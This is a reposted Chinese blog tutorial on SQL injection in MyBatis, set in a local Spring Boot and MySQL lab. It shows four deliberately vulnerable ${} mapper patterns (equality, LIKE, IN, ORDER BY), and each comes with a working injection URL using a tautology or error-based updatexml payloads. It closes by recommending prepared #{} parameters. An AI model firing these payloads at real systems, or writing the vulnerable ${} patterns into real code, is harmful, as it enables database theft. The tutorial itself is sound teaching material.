0


[Java安全]—Mybatis注入

文章目录

前言

Mybatis注入留在了Spring后,因为感觉用Spring搭建web端后再进行注入比较贴合实际一些。

测试环境

Mysql:5.7

Springboot:2.1

mybatis:3.5

数据库

创建了一个测试用的数据库Mybatis

CREATEDATABASE/*!32312 IF NOT EXISTS*/`mybatis`/*!40100 DEFAULT CHARACTER SET utf8 */;USE`mybatis`;-- ------------------------------ Table structure for users-- ----------------------------DROPTABLEIFEXISTS`users`;CREATETABLE`users`(`uid`int(10)NOTNULLAUTO_INCREMENT,`uname`varchar(10)CHARACTERSET utf8 COLLATE utf8_unicode_ci NULLDEFAULTNULL,`uage`int(10)NULLDEFAULTNULL,PRIMARYKEY(`uid`)USINGBTREE)ENGINE= MyISAM AUTO_INCREMENT=4CHARACTERSET= utf8 COLLATE= utf8_unicode_ci ROW_FORMAT = Dynamic;-- ------------------------------ Records of users-- ----------------------------INSERTINTO`users`VALUES(1,'Sentiment',20);INSERTINTO`users`VALUES(2,'Shelter',20);INSERTINTO`users`VALUES(3,'Tana',18);

在这里插入图片描述

SQL注入的四种方式

这里用的Springboot环境,配置文件较多,先放出关键文件,最终项目放在后边

#{}和${}

接口

List<User>selectOne(@Param("uname")String uname);

配置

<selectid="selectOne"resultType="user">
    select * from users where uname = '${uname}'
</select>

测试

@GetMapping("/inject/1")@ResponseBodypublicList<User>selectOne(@RequestParam("uname")String uname){return userService.selectOne(uname);}

执行语句是

select * from users where uname = '${uname}'

,所以这里就可以直接联想到单引号闭合即可,所以用万能密码1’ or ‘1’='1进行测试

http://127.0.0.1:8080/inject/1?uname=1' or '1'='1

在这里插入图片描述

发现成功注入,但是如果将${}换成#{}后则会报错无法执行,原因在于:#{}相当于是进行了预编译的方式,所以就有效的避免了sql注入问题

模糊查询

这里在前篇提到过模糊查询的三种方式

select * from t_user where username like '%${mohu}%'
select * from t_user where username like "%"#{mohu}"%"
select * from t_user where username like concat('%',#{mohu},'%')

可以看到第二条中,

"%"#{mohu}"%"

预编译前后的%是独立出来的,而写成

'%#{mohu}%'

这种形式,预编译时就会将%当做字符来处理从而报错,此时若经验不足将#改成了$即:

'%${mohu}%'

,就会导致SQL注入问题

接口

StringselectTwo(@Param("uname")String uname);

配置

<select id="selectTwo" resultType="user">
    select * from users where uname like '%${uname}%'
</select>

测试

这里由于换了查询方式就无法在使用万能密码获取数据,所以这里将返回类型改为了String,这样就可以通过报错信息来获取我们注入的内容

@GetMapping("/inject/2")@ResponseBodypublicStringselectTwo(@RequestParam("uname")String uname){try{return userService.selectTwo(uname);}catch(Throwable e){return e.toString();}}
http://127.0.0.1:8080/inject/2?uname=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

在这里插入图片描述

In查询

当查询语句有in是,只需要将in后的内容进行闭合即可绕过

配置

<selectid="selectThree"resultType="user">
    select * from users where uid in (${uid})
</select>

其他内容都跟模糊查询一样就不贴了

http://127.0.0.1:8080/inject/3?uid=1)  or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

在这里插入图片描述

order by注入

和in查询原理基本相同

<selectid="selectFour"resultType="user">
    select * from users order by ${uid}
</select>
http://127.0.0.1:8080/inject/4?uid=1 and(updatexml(1,concat(0x7e,(select database())),0));

在这里插入图片描述

综上情况来看,要避免mybatis的注入问题,其实最好的方式就是使用预编译方式

项目文件

链接:https://pan.baidu.com/s/1B3Ui-KeGL001JVgFjs9l5g?pwd=1axd 
提取码:1axd

java -jar mybatis.jar 运行即可

在这里插入图片描述

标签: mybatis java 安全

本文转载自: https://blog.csdn.net/weixin_54902210/article/details/127117638
版权归原作者 Sentiment. 所有, 如有侵权,请联系我们删除。

“[Java安全]—Mybatis注入”的评论:

还没有评论